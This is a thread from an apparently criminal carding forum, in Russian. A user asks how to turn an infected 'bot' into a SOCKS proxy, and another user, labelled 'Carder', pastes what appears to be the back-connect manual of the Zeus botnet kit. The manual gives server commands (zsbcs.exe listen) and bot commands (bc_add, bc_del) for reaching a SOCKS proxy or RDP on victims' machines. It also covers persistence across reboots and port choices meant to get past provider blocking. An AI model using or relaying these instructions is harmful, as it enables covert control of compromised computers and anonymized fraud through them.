Как сделать из бота сокс

Avast

RIPPER
Messages
85
Reputation
5
Reaction score
9
Points
8
Есть бот вне нат,как из него сделать сокс или бэк коннект?
 

lobotomy

Carder
Messages
64
Reputation
21
Reaction score
30
Points
18
Зевс?
Бэкконнект, он же сокс5. Нужен дедик с выделенным IP и програмка которая идет в комплекте .
Работа с BackConnect рассматривается в виде примера.

IP BackConnect-сервера : 192.168.100.1
Порт для бота: 4500
Порт для клиентского приложения: 1080

1) Запускается серверное приложение(zsbcs.exe или zsbcs64.exe) на сервере имеющем свой IP в
интернете, для приложения указывается порт, на котором ожидается подключение от бота, и порт к
которому будет подключаться клиентское приложение. Например zsbcs.exe listen -cp:1080 -bp:4500,
где 1080 - клиентский порт, 4500 - порт для бота.

2) Необходимому боту отправляется команда bc_add service server_host server_port, где service -
номер порта или имя* сервиса, к которому необходимо подключится на боте.

*в настоящее время поддерживается только имя socks, которое позволяет подключится к встроенному в
бота Socks-серверу.

server_host - сервер, на котором запушено серверное приложение. Здесь может быть указан IPv4,
IPv6, или домен.
server_port - порт, который указан в опции cp серверного приложение. В данном случаи 4500.

Пример: bc_add socks 192.168.100.1 4500 - в результате вы получаете socks,
bc_add 3389 192.168.100.1 4500 - в результате вы получаете rdp.

3) Теперь необходимо ждать подключение бота к серверу, в этот период любая попытка клиентского
приложения подключится будет игнорироваться (будет происходить отключение клиента). Знаком
подключения бота, будет вывод в консоль сервера строки "Accepted new conection from bot...".

4) После подключения бота, вы можете работать со своим клиентским приложением. Т.е. вы просто
подключаетесь к серверу на клиентский порт (в данном случаи 1080). Например, если вы отдали
команду socks, то на клиентском порту вас будет ожидать Socks-сервер, если указали порт 3389, то
вы подключаетесь к 192.168.100:1080 как к обычному RDP.

5) После того, когда вам не нужен BackConnect от бота для определенного сервиса, необходимо отдать
команду bc_del service server_host server_port, где все параметры должны быть идентичны
параметрам bc_add, которые необходимо удалить. Также здесь можно использовать спец. символы
'*' и '?'.

Например: bc_del * * * - удалит все BackConnect'ы, указанные на боте.
bc_del * 192.168.* * удалит все BackConnect’ы, подключаемые к серверам с IP 192.168.*.
bc_del 3389 192.168.100.1 4500 - удалит конкретно один BackConnect.

ПРИМЕЧАНИЯ:
1) Вы можете указывать сколько угодно BackConnect'ов (т.е. bc_add), но у них не должна быть общая
комбинация IP + Port. Но в случаи наличия такой комбинации, будет запускаться первая добавленная.
2) Для каждого BackConnect'а, вы должны запускать отдельное серверное приложение.
3) В случаи разрыва соединения(падения сервера, падение бота и т.д.), бот будет повторят подключение
к серверу бесконечно(даже после перезагрузки PC), до тех пор пока BackConnect не будет удален
(т.е. bc_del).
4) В качестве service для bc_add, может быть использован любой порт открытый по адресу 127.0.0.1.
5) Серверное приложение поддерживает IPv6, но в принципе в настоящее время эта поддержка не особо
актуальна.
6) Возможен запуск серверного приложения под wine. Написание же elf приложения в настоящее время не
планируется.
7) Крайне рекомендуется использовать в опции bp серверного приложения популярные порты (80, 8080,
443 и т.д.), т.к. иные порты могут быть заблокированы провайдером которому принадлежит бот.
8) Нельзя позволят подключатся разным ботам на один и тот же серверный порт одновременно.
9) Метод такого подключения может пригодиться и для ботов, которые находятся вне NAT, т.к. иногда
фаерволами Windows или провайдерами, могут быть заблокированы подключения из интернета.

ПРИМЕЧАНИЕ: Данная функция доступна не во всех сборках бота.
 
Last edited:
  • Like
Reactions: Avast

    Avast

    Points: 1
    спасибо
Top